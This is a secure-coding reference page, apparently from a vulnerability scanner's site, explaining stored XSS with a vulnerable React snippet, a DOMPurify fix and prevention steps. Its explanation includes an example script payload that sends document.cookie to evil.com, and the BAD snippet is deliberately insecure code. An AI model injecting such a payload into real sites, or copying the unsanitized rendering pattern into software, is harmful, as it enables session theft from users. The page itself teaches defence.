Stored XSS
User-supplied content saved to the database without sanitization and rendered in the browser as HTML, allowing persistent script injection that executes for every user who views the content.
How It Works
Unlike reflected XSS (which requires the victim to click a link), stored XSS is injected once and persists. An attacker submits a comment like `<script>fetch('https://evil.com?c='+document.cookie)</script>`. Your app saves it, and every user who loads the page runs that script. One injection, unlimited victims.
// BAD: raw user content rendered as HTML
// Server saves content as-is
await db.comments.create({ data: { content: req.body.content } });
// Client renders it unsanitized
<div dangerouslySetInnerHTML={{ __html: comment.content }} />// GOOD: sanitize on write, escape on render
import DOMPurify from 'isomorphic-dompurify';
// Sanitize before saving
const clean = DOMPurify.sanitize(req.body.content);
await db.comments.create({ data: { content: clean } });
// In React, use text rendering by default
<p>{comment.content}</p>Real-World Example
MySpace's Samy worm (2005) exploited stored XSS to add 1 million friends in 20 hours. Modern examples include XSS in Slack's markdown renderer (2017, $3,500 bounty) and in GitHub's issue comments (patched before exploitation).
How to Prevent It
- Sanitize HTML input with DOMPurify (isomorphic-dompurify for SSR) before saving
- Use React's default text rendering (JSX expressions) which auto-escapes
- Only use dangerouslySetInnerHTML with content that has been sanitized
- Set a strict Content-Security-Policy to contain damage from any missed XSS
- For rich text editors, use allowlisted HTML tags only (no script, no style)
Affected Technologies
Data Hogo detects this vulnerability automatically.
Scan Your Repo FreeRelated Vulnerabilities
DOM-Based XSS
highMalicious scripts executed by reading attacker-controlled data from the URL or browser APIs and writing it to the DOM using dangerous sinks like innerHTML or document.write.
PostMessage Without Origin Verification
mediumwindow.addEventListener('message') handlers that process messages without checking the event.origin, allowing any website to send commands to your app's message handler.
Advanced Clickjacking
mediumAbsence of both X-Frame-Options and CSP frame-ancestors headers, combined with no client-side frame-busting logic, leaving the app fully embeddable in malicious iframes.
Iframe Without Sandbox Attribute
mediumThird-party or user-generated content loaded in an iframe without the sandbox attribute, allowing that content to run scripts, access parent cookies, and navigate the top-level frame.